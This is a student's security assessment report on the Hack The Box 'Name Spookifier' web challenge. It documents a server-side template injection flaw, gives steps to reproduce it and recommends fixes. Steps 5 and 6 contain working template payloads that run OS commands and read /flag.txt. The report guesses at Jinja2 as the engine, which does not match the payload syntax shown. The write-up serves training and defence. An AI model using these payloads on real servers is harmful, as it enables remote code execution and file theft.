

Vulnerability Assessment Report

Target Application: “Name Spookifier” Web Challenge

Platform: Hack The Box

Assessment Type: Web Application Security Testing

Assessor: Student

Date: 24/3/2026

1. Executive Summary

During the security assessment of the “Name Spookifier” web application, a critical **Server-Side Template Injection (SSTI)** vulnerability was identified. This flaw allows user-supplied input to be dynamically evaluated by the server-side template engine without proper sanitization.

By exploiting this vulnerability, it was possible to:

- Execute arbitrary expressions within the template engine
- Access underlying Python modules
- Execute system-level commands
- Retrieve sensitive files from the server (e.g., /flag.txt)

The vulnerability poses a **critical risk**, as it can lead to full system compromise, unauthorized data access, and remote code execution (RCE).

2. Technical Findings

2.1 Vulnerability: Server-Side Template Injection (SSTI)

Severity: Critical

Category: Injection

Affected Endpoint:

`http://<target-ip>:30686/?text=<user_input>`

2.2 Description

The application takes user input from a query parameter (`text`) and renders it within a server-side template engine. Improper input validation allows execution of template expressions.

Initial testing confirmed that:

- Plain input is rendered normally
- Mathematical expressions (e.g., `${7*7}`) are evaluated server-side
- This confirms that the backend is interpreting input rather than displaying it safely

Further exploitation revealed access to Python internals and system-level command execution.

2.3 Steps to Reproduce

Step 1: Access the Application

1. Start the target instance on Hack The Box
2. Navigate to: `http://<target-ip>:30686`

Step 2: Confirm Input Reflection

Enter a simple string: `hi`

Observe that it is rendered on the page.

Step 3: Test for SSTI

Inject a mathematical expression:

```
${7*7}
```

Result:

The application returns:

```
49
```

This confirms server-side evaluation of input.

Step 4: Attempt Command Execution

Test basic system command:

```
${whoami}
```

Result:

An error is returned, indicating restricted direct execution.

Step 5: Bypass Restrictions Using Python Object Access

Leverage Python internals:

```
${self.module.cache.util.os.popen('whoami').read() }
```

Result:

Returns the current system user, confirming command execution.

Step 6: Retrieve Sensitive File (Flag)

Use Python import and execution:

```
<% import os; x = os.popen('cat /flag.txt').read() %> ${x}
```

Result:

Contents of `/flag.txt` are displayed on the webpage.

2.4 Impact

Successful exploitation allows:

- Remote Code Execution (RCE)
- Access to sensitive files
- Potential lateral movement within the system
- Full compromise of the server environment

3. Root Cause Analysis

The vulnerability exists due to:

- Unsanitized user input embedded directly into templates
- Use of a template engine that evaluates expressions (likely Jinja2 or similar)
- Lack of sandboxing or secure template rendering configuration

4. Remediation

4.1 Input Validation and Sanitization

- Treat all user input as untrusted
- Escape special template characters (`{ }`, `< % %>`)
- Use strict input validation rules (whitelisting preferred)

4.2 Secure Template Rendering

- Disable expression evaluation in templates where not required
- Use safe rendering methods (e.g., auto-escaping)
- Avoid rendering raw user input directly

4.3 Sandbox the Template Engine

- Restrict access to:
 - Python built-ins
 - OS modules
 - File system operations
- Use sandboxed environments for template execution

4.4 Principle of Least Privilege

- Run the application with minimal OS permissions
- Restrict access to sensitive files like `/flag.txt`

4.5 Security Testing

- Perform regular dynamic testing for injection vulnerabilities
- Use tools and methodologies from OWASP guidelines
- Include SSTI checks in penetration testing workflows

5. Conclusion

The “Name Spookifier” application is vulnerable to a critical SSTI flaw that enables full server compromise. Immediate remediation is required to prevent exploitation in real-world environments.

Proper input handling, secure template configuration, and adherence to secure coding practices are essential to mitigate this class of vulnerabilities.